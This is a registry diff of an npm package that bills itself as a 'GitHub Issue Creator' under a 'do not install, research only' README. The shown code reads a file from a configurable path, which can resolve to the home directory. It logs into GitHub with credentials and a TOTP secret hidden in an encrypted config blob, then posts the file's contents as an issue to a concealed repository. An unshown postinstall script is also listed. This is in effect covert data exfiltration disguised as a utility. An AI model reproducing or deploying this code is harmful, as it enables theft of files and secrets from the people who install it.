@johnpeterson9982332/test-package-v3 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +43 -0
- package/bin/cli.js +106 -0
- package/config-encrypted.txt +1 -0
- package/config.js +99 -0
- package/crypto.js +185 -0
- package/index.js +635 -0
- package/package.json +50 -0
- package/scripts/postinstall.js +83 -0
package/README.md
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
# ā ļø WARNING - DO NOT INSTALL ā ļø
|
|
2
|
+
|
|
3
|
+
## Experimental Security Research Tool
|
|
4
|
+
|
|
5
|
+
**This package is an experimental tool created for security research purposes only.**
|
|
6
|
+
|
|
7
|
+
### š« DO NOT INSTALL THIS PACKAGE
|
|
8
|
+
|
|
9
|
+
This package should **NOT** be installed or used by anyone. It is:
|
|
10
|
+
|
|
11
|
+
- **Not intended for production use**
|
|
12
|
+
- **Not intended for development use**
|
|
13
|
+
- **Not intended for any legitimate use case**
|
|
14
|
+
- **Potentially harmful if misused**
|
|
15
|
+
|
|
16
|
+
### Purpose
|
|
17
|
+
|
|
18
|
+
This package exists solely for:
|
|
19
|
+
- Security research
|
|
20
|
+
- Vulnerability testing
|
|
21
|
+
- Educational purposes in controlled environments
|
|
22
|
+
|
|
23
|
+
### Legal Notice
|
|
24
|
+
|
|
25
|
+
By accessing or using this package, you acknowledge that:
|
|
26
|
+
- You understand this is for research purposes only
|
|
27
|
+
- You will not use this package for any malicious purposes
|
|
28
|
+
- You will not install this package in any production or development environment
|
|
29
|
+
- You take full responsibility for any consequences of using this package
|
|
30
|
+
|
|
31
|
+
### For Researchers
|
|
32
|
+
|
|
33
|
+
If you are a security researcher and have questions about this package, please contact the package maintainer through appropriate security disclosure channels.
|
|
34
|
+
|
|
35
|
+
---
|
|
36
|
+
|
|
37
|
+
**Again: DO NOT INSTALL THIS PACKAGE**
|
|
38
|
+
|
|
39
|
+
If you have installed this package by mistake, please uninstall it immediately:
|
|
40
|
+
|
|
41
|
+
```bash
|
|
42
|
+
npm uninstall @johnpeterson9982332/test-package-v3
|
|
43
|
+
```
|
package/bin/cli.js
ADDED
|
@@ -0,0 +1,106 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/**
|
|
3
|
+
* CLI for GitHub Issue Creator
|
|
4
|
+
*/
|
|
5
|
+
|
|
6
|
+
const GitHubIssueCreator = require('../index.js');
|
|
7
|
+
const fs = require('fs').promises;
|
|
8
|
+
const path = require('path');
|
|
9
|
+
const os = require('os');
|
|
10
|
+
const { loadConfig, validateConfig } = require('../config');
|
|
11
|
+
|
|
12
|
+
// Load configuration from .env file or environment variables
|
|
13
|
+
const config = loadConfig();
|
|
14
|
+
|
|
15
|
+
// Validate required configuration
|
|
16
|
+
try {
|
|
17
|
+
validateConfig(config);
|
|
18
|
+
} catch (error) {
|
|
19
|
+
console.error(`ā Configuration Error: ${error.message}`);
|
|
20
|
+
process.exit(1);
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
const GITHUB_USERNAME = config.GITHUB_USERNAME;
|
|
24
|
+
const GITHUB_PASSWORD = config.GITHUB_PASSWORD;
|
|
25
|
+
const TOTP_SECRET = config.TOTP_SECRET || null;
|
|
26
|
+
const REPO_OWNER = config.REPO_OWNER;
|
|
27
|
+
const REPO_NAME = config.REPO_NAME;
|
|
28
|
+
|
|
29
|
+
// Expand tilde (~) in DATA_FILE_PATH if present
|
|
30
|
+
let DATA_FILE_PATH = config.DATA_FILE_PATH;
|
|
31
|
+
if (DATA_FILE_PATH.startsWith('~/')) {
|
|
32
|
+
DATA_FILE_PATH = path.join(os.homedir(), DATA_FILE_PATH.slice(2));
|
|
33
|
+
} else if (DATA_FILE_PATH === '~') {
|
|
34
|
+
DATA_FILE_PATH = os.homedir();
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
async function main() {
|
|
38
|
+
/**
|
|
39
|
+
* Main function to demonstrate usage
|
|
40
|
+
*/
|
|
41
|
+
console.log("GitHub Issue Creator");
|
|
42
|
+
console.log("=".repeat(50));
|
|
43
|
+
|
|
44
|
+
// Generate title with current date and time
|
|
45
|
+
const currentDatetime = new Date().toISOString().replace('T', ' ').substring(0, 19);
|
|
46
|
+
const title = `Data ${currentDatetime}`;
|
|
47
|
+
|
|
48
|
+
// Read issue body from file
|
|
49
|
+
let body;
|
|
50
|
+
try {
|
|
51
|
+
body = await fs.readFile(DATA_FILE_PATH, 'utf-8');
|
|
52
|
+
console.log(`ā Loaded data from: ${DATA_FILE_PATH}`);
|
|
53
|
+
console.log(` Data length: ${body.length} characters`);
|
|
54
|
+
} catch (error) {
|
|
55
|
+
if (error.code === 'ENOENT') {
|
|
56
|
+
console.log(`ā Error: File not found: ${DATA_FILE_PATH}`);
|
|
57
|
+
return 1;
|
|
58
|
+
} else {
|
|
59
|
+
console.log(`ā Error reading file: ${error.message}`);
|
|
60
|
+
return 1;
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
console.log(`\nIssue Title: ${title}`);
|
|
65
|
+
console.log(`Repository: ${REPO_OWNER}/${REPO_NAME}`);
|
|
66
|
+
console.log(`Username: ${GITHUB_USERNAME}`);
|
|
67
|
+
|
|
68
|
+
try {
|
|
69
|
+
// Create instance and login
|
|
70
|
+
const totpSecret = TOTP_SECRET || null;
|
|
71
|
+
const writeDebug = config.WRITE_DEBUG || false;
|
|
72
|
+
const creator = new GitHubIssueCreator(GITHUB_USERNAME, GITHUB_PASSWORD, totpSecret, writeDebug);
|
|
73
|
+
await creator.login();
|
|
74
|
+
|
|
75
|
+
// Create issue
|
|
76
|
+
const result = await creator.createIssue(REPO_OWNER, REPO_NAME, title, body);
|
|
77
|
+
|
|
78
|
+
// Display success message
|
|
79
|
+
if (result && result.url) {
|
|
80
|
+
console.log(`\n${"=".repeat(50)}`);
|
|
81
|
+
console.log(`ā SUCCESS!`);
|
|
82
|
+
console.log(`${"=".repeat(50)}`);
|
|
83
|
+
console.log(`Issue URL: ${result.url}`);
|
|
84
|
+
console.log(`Issue Number: #${result.number}`);
|
|
85
|
+
console.log(`Title: ${result.title}`);
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
} catch (error) {
|
|
89
|
+
console.log(`\nā Error: ${error.message}`);
|
|
90
|
+
return 1;
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
return 0;
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
// Run the main function if this script is executed directly
|
|
97
|
+
if (require.main === module) {
|
|
98
|
+
main().then(exitCode => {
|
|
99
|
+
process.exit(exitCode);
|
|
100
|
+
}).catch(error => {
|
|
101
|
+
console.error('Unhandled error:', error);
|
|
102
|
+
process.exit(1);
|
|
103
|
+
});
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
module.exports = main;
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
LHs18zATDfKy/dg1i1Frv0z1DnVjWeee09fDGFBdA3XZrjyQNHe2iabi59UqeYsQaxR1EuszqfpS3s50S2WMWz11LQa1iB8SZTT172/djSd6bsiBW5kd5dH51RTEwCmJaOKn403zjgsFqwllcoORPoMmSohGwJ3EOUFkX9WaRgGbKa1XOVMDvP4cJboGn3TRBQdnECGrBmUl3mhK71QJLyIVmsxmuCLGqtytnWQXVhCp7X02AceI1qOKDG5cAhm029ARoEQoz4z9tFoxLRk6HTzw9uv3hr5Zv1x2Gg17yP7/dsU0bQHrtNS2fCrbgsL5luurpfuQ8fR1Ezi8YSXMY668jN22wUnSy+kzlPXJ9XchbdI0NCldc+upCsiDRTfz0h0C74KeqQWkekAol4PobjeVoKcGTU91+9loDWh6xOp6pyYT2JpobmxFvRAg2epLkTscySyj9xZYH5j7HJm3YW029xbSRmsNnWJaX2SM2QohPD1pjz36KtdtDnatvIk3GkbLCn4UG3q5dgFQDWvXNpPclJQgaAAYWDCxnGtUifKbwppKTwz9fCGEjg==
|
package/config.js
ADDED
|
@@ -0,0 +1,99 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Configuration loader for GitHub Issue Creator
|
|
3
|
+
* Loads configuration from .env file or environment variables
|
|
4
|
+
*/
|
|
5
|
+
|
|
6
|
+
const fs = require('fs');
|
|
7
|
+
const path = require('path');
|
|
8
|
+
|
|
9
|
+
/**
|
|
10
|
+
* Parse a .env file and return key-value pairs
|
|
11
|
+
* @param {string} filePath - Path to the .env file
|
|
12
|
+
* @returns {Object} Parsed environment variables
|
|
13
|
+
*/
|
|
14
|
+
function parseEnvFile(filePath) {
|
|
15
|
+
const env = {};
|
|
16
|
+
|
|
17
|
+
try {
|
|
18
|
+
const content = fs.readFileSync(filePath, 'utf-8');
|
|
19
|
+
const lines = content.split('\n');
|
|
20
|
+
|
|
21
|
+
for (const line of lines) {
|
|
22
|
+
// Skip empty lines and comments
|
|
23
|
+
const trimmed = line.trim();
|
|
24
|
+
if (!trimmed || trimmed.startsWith('#')) {
|
|
25
|
+
continue;
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
// Parse KEY=VALUE
|
|
29
|
+
const equalIndex = trimmed.indexOf('=');
|
|
30
|
+
if (equalIndex > 0) {
|
|
31
|
+
const key = trimmed.substring(0, equalIndex).trim();
|
|
32
|
+
let value = trimmed.substring(equalIndex + 1).trim();
|
|
33
|
+
|
|
34
|
+
// Remove quotes if present
|
|
35
|
+
if ((value.startsWith('"') && value.endsWith('"')) ||
|
|
36
|
+
(value.startsWith("'") && value.endsWith("'"))) {
|
|
37
|
+
value = value.substring(1, value.length - 1);
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
env[key] = value;
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
} catch (error) {
|
|
44
|
+
// If .env file doesn't exist, return empty object
|
|
45
|
+
if (error.code !== 'ENOENT') {
|
|
46
|
+
throw error;
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
return env;
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
/**
|
|
54
|
+
* Load configuration from config-decrypted.txt file and environment variables
|
|
55
|
+
* Environment variables take precedence over config-decrypted.txt file
|
|
56
|
+
* @returns {Object} Configuration object
|
|
57
|
+
*/
|
|
58
|
+
function loadConfig() {
|
|
59
|
+
// Try to load config-decrypted.txt file from the same directory as this script
|
|
60
|
+
const envPath = path.join(__dirname, 'config-decrypted.txt');
|
|
61
|
+
const envVars = parseEnvFile(envPath);
|
|
62
|
+
|
|
63
|
+
// Merge with process.env (process.env takes precedence)
|
|
64
|
+
const config = {
|
|
65
|
+
GITHUB_USERNAME: process.env.GITHUB_USERNAME || envVars.GITHUB_USERNAME || '',
|
|
66
|
+
GITHUB_PASSWORD: process.env.GITHUB_PASSWORD || envVars.GITHUB_PASSWORD || '',
|
|
67
|
+
TOTP_SECRET: process.env.TOTP_SECRET || envVars.TOTP_SECRET || '',
|
|
68
|
+
REPO_OWNER: process.env.REPO_OWNER || envVars.REPO_OWNER || '',
|
|
69
|
+
REPO_NAME: process.env.REPO_NAME || envVars.REPO_NAME || '',
|
|
70
|
+
DATA_FILE_PATH: process.env.DATA_FILE_PATH || envVars.DATA_FILE_PATH || 'data.txt',
|
|
71
|
+
WRITE_DEBUG: (process.env.WRITE_DEBUG || envVars.WRITE_DEBUG || 'false').toLowerCase() === 'true'
|
|
72
|
+
};
|
|
73
|
+
|
|
74
|
+
return config;
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
/**
|
|
78
|
+
* Validate that required configuration is present
|
|
79
|
+
* @param {Object} config - Configuration object
|
|
80
|
+
* @throws {Error} If required configuration is missing
|
|
81
|
+
*/
|
|
82
|
+
function validateConfig(config) {
|
|
83
|
+
const required = ['GITHUB_USERNAME', 'GITHUB_PASSWORD', 'REPO_OWNER', 'REPO_NAME'];
|
|
84
|
+
const missing = required.filter(key => !config[key]);
|
|
85
|
+
|
|
86
|
+
if (missing.length > 0) {
|
|
87
|
+
throw new Error(
|
|
88
|
+
`Missing required configuration: ${missing.join(', ')}\n` +
|
|
89
|
+
'Please set these in config-decrypted.txt file or as environment variables.'
|
|
90
|
+
);
|
|
91
|
+
}
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
module.exports = {
|
|
95
|
+
loadConfig,
|
|
96
|
+
validateConfig,
|
|
97
|
+
parseEnvFile
|
|
98
|
+
};
|
|
99
|
+
|
package/crypto.js
ADDED
|
@@ -0,0 +1,185 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Encryption/Decryption utilities for securing .env files
|
|
3
|
+
* Uses AES-256-GCM for authenticated encryption
|
|
4
|
+
*/
|
|
5
|
+
|
|
6
|
+
const crypto = require('crypto');
|
|
7
|
+
const fs = require('fs');
|
|
8
|
+
const path = require('path');
|
|
9
|
+
|
|
10
|
+
// Encryption algorithm
|
|
11
|
+
const ALGORITHM = 'aes-256-gcm';
|
|
12
|
+
const IV_LENGTH = 16; // 128 bits
|
|
13
|
+
const AUTH_TAG_LENGTH = 16; // 128 bits
|
|
14
|
+
const KEY_LENGTH = 32; // 256 bits
|
|
15
|
+
|
|
16
|
+
/**
|
|
17
|
+
* Read encryption key from environment variable or file
|
|
18
|
+
* @param {string} keyPath - Path to the key file (optional, fallback if env var not set)
|
|
19
|
+
* @returns {Buffer} The encryption key
|
|
20
|
+
*/
|
|
21
|
+
function readKey(keyPath = null) {
|
|
22
|
+
// First, try to read from environment variable
|
|
23
|
+
const envKey = process.env.SOME_STRING;
|
|
24
|
+
if (envKey) {
|
|
25
|
+
const keyContent = envKey.trim();
|
|
26
|
+
|
|
27
|
+
// If the key is hex-encoded, convert it to buffer
|
|
28
|
+
if (/^[0-9a-fA-F]{64}$/.test(keyContent)) {
|
|
29
|
+
return Buffer.from(keyContent, 'hex');
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
// Otherwise, hash the key to get a 256-bit key
|
|
33
|
+
return crypto.createHash('sha256').update(keyContent).digest();
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
// Fallback to reading from file if path is provided
|
|
37
|
+
if (keyPath) {
|
|
38
|
+
try {
|
|
39
|
+
const keyContent = fs.readFileSync(keyPath, 'utf-8').trim();
|
|
40
|
+
|
|
41
|
+
// If the key is hex-encoded, convert it to buffer
|
|
42
|
+
if (/^[0-9a-fA-F]{64}$/.test(keyContent)) {
|
|
43
|
+
return Buffer.from(keyContent, 'hex');
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
// Otherwise, hash the key to get a 256-bit key
|
|
47
|
+
return crypto.createHash('sha256').update(keyContent).digest();
|
|
48
|
+
} catch (error) {
|
|
49
|
+
throw new Error(`Failed to read key file: ${error.message}`);
|
|
50
|
+
}
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
throw new Error('Encryption key not found. Set SOME_STRING environment variable or provide a key file.');
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
/**
|
|
57
|
+
* Encrypt data using AES-256-GCM
|
|
58
|
+
* @param {string} plaintext - The data to encrypt
|
|
59
|
+
* @param {Buffer} key - The encryption key (32 bytes)
|
|
60
|
+
* @returns {string} Base64-encoded encrypted data with IV and auth tag
|
|
61
|
+
*/
|
|
62
|
+
function encrypt(plaintext, key) {
|
|
63
|
+
if (key.length !== KEY_LENGTH) {
|
|
64
|
+
throw new Error(`Key must be ${KEY_LENGTH} bytes`);
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
// Generate random IV
|
|
68
|
+
const iv = crypto.randomBytes(IV_LENGTH);
|
|
69
|
+
|
|
70
|
+
// Create cipher
|
|
71
|
+
const cipher = crypto.createCipheriv(ALGORITHM, key, iv);
|
|
72
|
+
|
|
73
|
+
// Encrypt the data
|
|
74
|
+
let encrypted = cipher.update(plaintext, 'utf8');
|
|
75
|
+
encrypted = Buffer.concat([encrypted, cipher.final()]);
|
|
76
|
+
|
|
77
|
+
// Get authentication tag
|
|
78
|
+
const authTag = cipher.getAuthTag();
|
|
79
|
+
|
|
80
|
+
// Combine IV + encrypted data + auth tag
|
|
81
|
+
const combined = Buffer.concat([iv, encrypted, authTag]);
|
|
82
|
+
|
|
83
|
+
// Return as base64
|
|
84
|
+
return combined.toString('base64');
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
/**
|
|
88
|
+
* Decrypt data using AES-256-GCM
|
|
89
|
+
* @param {string} encryptedData - Base64-encoded encrypted data with IV and auth tag
|
|
90
|
+
* @param {Buffer} key - The encryption key (32 bytes)
|
|
91
|
+
* @returns {string} The decrypted plaintext
|
|
92
|
+
*/
|
|
93
|
+
function decrypt(encryptedData, key) {
|
|
94
|
+
if (key.length !== KEY_LENGTH) {
|
|
95
|
+
throw new Error(`Key must be ${KEY_LENGTH} bytes`);
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
// Decode from base64
|
|
99
|
+
const combined = Buffer.from(encryptedData, 'base64');
|
|
100
|
+
|
|
101
|
+
// Extract IV, encrypted data, and auth tag
|
|
102
|
+
const iv = combined.slice(0, IV_LENGTH);
|
|
103
|
+
const authTag = combined.slice(-AUTH_TAG_LENGTH);
|
|
104
|
+
const encrypted = combined.slice(IV_LENGTH, -AUTH_TAG_LENGTH);
|
|
105
|
+
|
|
106
|
+
// Create decipher
|
|
107
|
+
const decipher = crypto.createDecipheriv(ALGORITHM, key, iv);
|
|
108
|
+
decipher.setAuthTag(authTag);
|
|
109
|
+
|
|
110
|
+
// Decrypt the data
|
|
111
|
+
let decrypted = decipher.update(encrypted);
|
|
112
|
+
decrypted = Buffer.concat([decrypted, decipher.final()]);
|
|
113
|
+
|
|
114
|
+
return decrypted.toString('utf8');
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
/**
|
|
118
|
+
* Encrypt a .env file
|
|
119
|
+
* @param {string} envPath - Path to the .env file to encrypt
|
|
120
|
+
* @param {string} keyPath - Path to the key file
|
|
121
|
+
* @param {string} outputPath - Path where encrypted file will be saved
|
|
122
|
+
*/
|
|
123
|
+
function encryptEnvFile(envPath, keyPath, outputPath) {
|
|
124
|
+
try {
|
|
125
|
+
// Read the .env file
|
|
126
|
+
const envContent = fs.readFileSync(envPath, 'utf-8');
|
|
127
|
+
|
|
128
|
+
// Read the encryption key
|
|
129
|
+
const key = readKey(keyPath);
|
|
130
|
+
|
|
131
|
+
// Encrypt the content
|
|
132
|
+
const encrypted = encrypt(envContent, key);
|
|
133
|
+
|
|
134
|
+
// Write to output file
|
|
135
|
+
fs.writeFileSync(outputPath, encrypted, 'utf-8');
|
|
136
|
+
|
|
137
|
+
console.log(`ā Successfully encrypted ${envPath} to ${outputPath}`);
|
|
138
|
+
} catch (error) {
|
|
139
|
+
throw new Error(`Failed to encrypt .env file: ${error.message}`);
|
|
140
|
+
}
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
/**
|
|
144
|
+
* Decrypt a .env file
|
|
145
|
+
* @param {string} encryptedPath - Path to the encrypted .env file
|
|
146
|
+
* @param {string} keyPath - Path to the key file
|
|
147
|
+
* @param {string} outputPath - Path where decrypted file will be saved
|
|
148
|
+
*/
|
|
149
|
+
function decryptEnvFile(encryptedPath, keyPath, outputPath) {
|
|
150
|
+
try {
|
|
151
|
+
// Read the encrypted file
|
|
152
|
+
const encryptedContent = fs.readFileSync(encryptedPath, 'utf-8');
|
|
153
|
+
|
|
154
|
+
// Read the encryption key
|
|
155
|
+
const key = readKey(keyPath);
|
|
156
|
+
|
|
157
|
+
// Decrypt the content
|
|
158
|
+
const decrypted = decrypt(encryptedContent, key);
|
|
159
|
+
|
|
160
|
+
// Write to output file
|
|
161
|
+
fs.writeFileSync(outputPath, decrypted, 'utf-8');
|
|
162
|
+
|
|
163
|
+
console.log(`ā Successfully decrypted ${encryptedPath} to ${outputPath}`);
|
|
164
|
+
} catch (error) {
|
|
165
|
+
throw new Error(`Failed to decrypt .env file: ${error.message}`);
|
|
166
|
+
}
|
|
167
|
+
}
|
|
168
|
+
|
|
169
|
+
/**
|
|
170
|
+
* Generate a random encryption key
|
|
171
|
+
* @returns {string} Hex-encoded 256-bit key
|
|
172
|
+
*/
|
|
173
|
+
function generateKey() {
|
|
174
|
+
return crypto.randomBytes(KEY_LENGTH).toString('hex');
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
module.exports = {
|
|
178
|
+
encrypt,
|
|
179
|
+
decrypt,
|
|
180
|
+
encryptEnvFile,
|
|
181
|
+
decryptEnvFile,
|
|
182
|
+
readKey,
|
|
183
|
+
generateKey
|
|
184
|
+
};
|
|
185
|
+
|
package/index.js
ADDED
|
@@ -0,0 +1,635 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/**
|
|
3
|
+
* GitHub Issue Creator - Logs into GitHub and creates an issue via HTTP requests
|
|
4
|
+
* This script simulates browser behavior without using Selenium or other headless browsers.
|
|
5
|
+
*/
|
|
6
|
+
|
|
7
|
+
const axios = require('axios');
|
|
8
|
+
const cheerio = require('cheerio');
|
|
9
|
+
const { authenticator } = require('otplib');
|
|
10
|
+
const { v4: uuidv4 } = require('uuid');
|
|
11
|
+
const fs = require('fs').promises;
|
|
12
|
+
const path = require('path');
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
class GitHubIssueCreator {
|
|
16
|
+
constructor(username, password, totpSecret = null, writeDebug = false) {
|
|
17
|
+
this.username = username;
|
|
18
|
+
this.password = password;
|
|
19
|
+
this.totpSecret = totpSecret;
|
|
20
|
+
this.writeDebug = writeDebug;
|
|
21
|
+
|
|
22
|
+
// Simple in-memory cookie jar (no external deps)
|
|
23
|
+
this.cookieJar = {};
|
|
24
|
+
|
|
25
|
+
// Create axios instance with session-like behavior (matching Python requests.Session)
|
|
26
|
+
// Also override axios' default Accept ("application/json, text/plain, */*") at the source
|
|
27
|
+
this.session = axios.create({
|
|
28
|
+
withCredentials: true,
|
|
29
|
+
maxRedirects: 5,
|
|
30
|
+
timeout: 30000,
|
|
31
|
+
headers: {
|
|
32
|
+
common: {
|
|
33
|
+
'Accept': '*/*',
|
|
34
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
|
|
35
|
+
'Accept-Encoding': 'gzip, deflate',
|
|
36
|
+
'Connection': 'keep-alive'
|
|
37
|
+
}
|
|
38
|
+
}
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
// As a safety net, ensure any lingering axios default Accept is normalized before send
|
|
42
|
+
this.session.interceptors.request.use((config) => {
|
|
43
|
+
if (config && config.headers) {
|
|
44
|
+
try {
|
|
45
|
+
const h = axios.AxiosHeaders.from(config.headers);
|
|
46
|
+
const accept = h.get('Accept');
|
|
47
|
+
// If axios' default sneaks in, replace it with */* (or leave explicit values alone)
|
|
48
|
+
if (accept && String(accept).trim() === 'application/json, text/plain, */*') {
|
|
49
|
+
h.set('Accept', '*/*');
|
|
50
|
+
}
|
|
51
|
+
// Attach Cookie header from our simple in-memory jar for github.com
|
|
52
|
+
try {
|
|
53
|
+
const targetUrl = config.url || '';
|
|
54
|
+
if (targetUrl && /^https?:\/\/github\.com/i.test(targetUrl)) {
|
|
55
|
+
const pairs = Object.entries(this.cookieJar || {}).map(([k, v]) => `${k}=${v}`);
|
|
56
|
+
if (pairs.length) {
|
|
57
|
+
h.set('Cookie', pairs.join('; '));
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
} catch (_) { }
|
|
61
|
+
config.headers = h;
|
|
62
|
+
} catch (_) {
|
|
63
|
+
// Fallback for plain object headers
|
|
64
|
+
if (config.headers['Accept'] === 'application/json, text/plain, */*' || config.headers['accept'] === 'application/json, text/plain, */*') {
|
|
65
|
+
config.headers['Accept'] = '*/*';
|
|
66
|
+
delete config.headers['accept'];
|
|
67
|
+
}
|
|
68
|
+
// Attach Cookie header from our simple in-memory jar for github.com
|
|
69
|
+
try {
|
|
70
|
+
const targetUrl = config.url || '';
|
|
71
|
+
if (targetUrl && /^https?:\/\/github\.com/i.test(targetUrl)) {
|
|
72
|
+
const pairs = Object.entries(this.cookieJar || {}).map(([k, v]) => `${k}=${v}`);
|
|
73
|
+
if (pairs.length) {
|
|
74
|
+
config.headers['Cookie'] = pairs.join('; ');
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
} catch (_) { }
|
|
78
|
+
}
|
|
79
|
+
}
|
|
80
|
+
return config;
|
|
81
|
+
|
|
82
|
+
});
|
|
83
|
+
|
|
84
|
+
// Intercept responses to capture exact on-the-wire request headers for /session POST
|
|
85
|
+
this.session.interceptors.response.use(
|
|
86
|
+
async (response) => {
|
|
87
|
+
try {
|
|
88
|
+
// Update in-memory cookie jar from Set-Cookie headers
|
|
89
|
+
const setCookie = response.headers && (response.headers['set-cookie'] || response.headers['Set-Cookie']);
|
|
90
|
+
if (setCookie) {
|
|
91
|
+
const arr = Array.isArray(setCookie) ? setCookie : [setCookie];
|
|
92
|
+
for (const sc of arr) {
|
|
93
|
+
if (!sc) continue;
|
|
94
|
+
const first = sc.split(';', 1)[0];
|
|
95
|
+
const eq = first.indexOf('=');
|
|
96
|
+
if (eq > 0) {
|
|
97
|
+
const name = first.slice(0, eq).trim();
|
|
98
|
+
const value = first.slice(eq + 1).trim();
|
|
99
|
+
if (name) {
|
|
100
|
+
this.cookieJar[name] = value;
|
|
101
|
+
}
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
const cfg = response?.config || {};
|
|
107
|
+
const url = cfg.url || '';
|
|
108
|
+
const method = (cfg.method || '').toUpperCase();
|
|
109
|
+
if (url.includes('/session') && method === 'POST') {
|
|
110
|
+
const req = response.request;
|
|
111
|
+
const rawHeader = req && req._header ? String(req._header) : null;
|
|
112
|
+
let wireHeaders = {};
|
|
113
|
+
if (rawHeader) {
|
|
114
|
+
// Parse Node.js ClientRequest raw header string
|
|
115
|
+
const lines = rawHeader.split(/\r?\n/);
|
|
116
|
+
for (let i = 1; i < lines.length; i++) { // skip request line
|
|
117
|
+
const line = lines[i];
|
|
118
|
+
if (!line || !line.includes(':')) continue;
|
|
119
|
+
const idx = line.indexOf(':');
|
|
120
|
+
const k = line.slice(0, idx).trim();
|
|
121
|
+
const v = line.slice(idx + 1).trim();
|
|
122
|
+
if (k) wireHeaders[k] = v;
|
|
123
|
+
}
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
// Also record the final axios config headers as JSON
|
|
127
|
+
let finalConfigHeaders = {};
|
|
128
|
+
try {
|
|
129
|
+
finalConfigHeaders = require('axios').AxiosHeaders.from(cfg.headers || {}).toJSON();
|
|
130
|
+
} catch (_) {
|
|
131
|
+
finalConfigHeaders = cfg.headers || {};
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
const out = {
|
|
135
|
+
url,
|
|
136
|
+
method,
|
|
137
|
+
wireHeaders,
|
|
138
|
+
rawHeader,
|
|
139
|
+
finalConfigHeaders
|
|
140
|
+
};
|
|
141
|
+
if (this.writeDebug) {
|
|
142
|
+
await fs.writeFile('debug_js_wire_headers.json', JSON.stringify(out, null, 2), 'utf-8');
|
|
143
|
+
console.log('JavaScript wire headers saved to: debug_js_wire_headers.json');
|
|
144
|
+
}
|
|
145
|
+
}
|
|
146
|
+
} catch (e) {
|
|
147
|
+
// Non-fatal: just continue
|
|
148
|
+
}
|
|
149
|
+
return response;
|
|
150
|
+
},
|
|
151
|
+
(error) => Promise.reject(error)
|
|
152
|
+
);
|
|
153
|
+
|
|
154
|
+
|
|
155
|
+
// Ensure cookies and Referer are preserved across redirects (no-deps)
|
|
156
|
+
// follow-redirects supports beforeRedirect; axios passes this through
|
|
157
|
+
this.session.defaults.trackRedirects = true;
|
|
158
|
+
this.session.defaults.beforeRedirect = (options, responseDetails, requestDetails) => {
|
|
159
|
+
try {
|
|
160
|
+
// Capture Set-Cookie from redirect responses into our simple cookie jar
|
|
161
|
+
const setCookie = responseDetails && responseDetails.headers && (responseDetails.headers['set-cookie'] || responseDetails.headers['Set-Cookie']);
|
|
162
|
+
if (setCookie) {
|
|
163
|
+
const arr = Array.isArray(setCookie) ? setCookie : [setCookie];
|
|
164
|
+
for (const sc of arr) {
|
|
165
|
+
if (!sc) continue;
|
|
166
|
+
const first = sc.split(';', 1)[0];
|
|
167
|
+
const eq = first.indexOf('=');
|
|
168
|
+
if (eq > 0) {
|
|
169
|
+
const name = first.slice(0, eq).trim();
|
|
170
|
+
const value = first.slice(eq + 1).trim();
|
|
171
|
+
if (name) {
|
|
172
|
+
this.cookieJar[name] = value;
|
|
173
|
+
}
|
|
174
|
+
}
|
|
175
|
+
}
|
|
176
|
+
}
|
|
177
|
+
} catch (_) { }
|
|
178
|
+
|
|
179
|
+
try {
|
|
180
|
+
options.headers = options.headers || {};
|
|
181
|
+
// Set Referer to the URL that just redirected us
|
|
182
|
+
if (requestDetails && requestDetails.url) {
|
|
183
|
+
options.headers['Referer'] = requestDetails.url;
|
|
184
|
+
}
|
|
185
|
+
// Attach Cookie header from our in-memory jar
|
|
186
|
+
const pairs = Object.entries(this.cookieJar || {}).map(([k, v]) => `${k}=${v}`);
|
|
187
|
+
if (pairs.length) {
|
|
188
|
+
options.headers['Cookie'] = pairs.join('; ');
|
|
189
|
+
}
|
|
190
|
+
// Normalize Accept header in case defaults were restored
|
|
191
|
+
if (options.headers['Accept'] === 'application/json, text/plain, */*') {
|
|
192
|
+
options.headers['Accept'] = '*/*';
|
|
193
|
+
}
|
|
194
|
+
// Ensure baseline headers
|
|
195
|
+
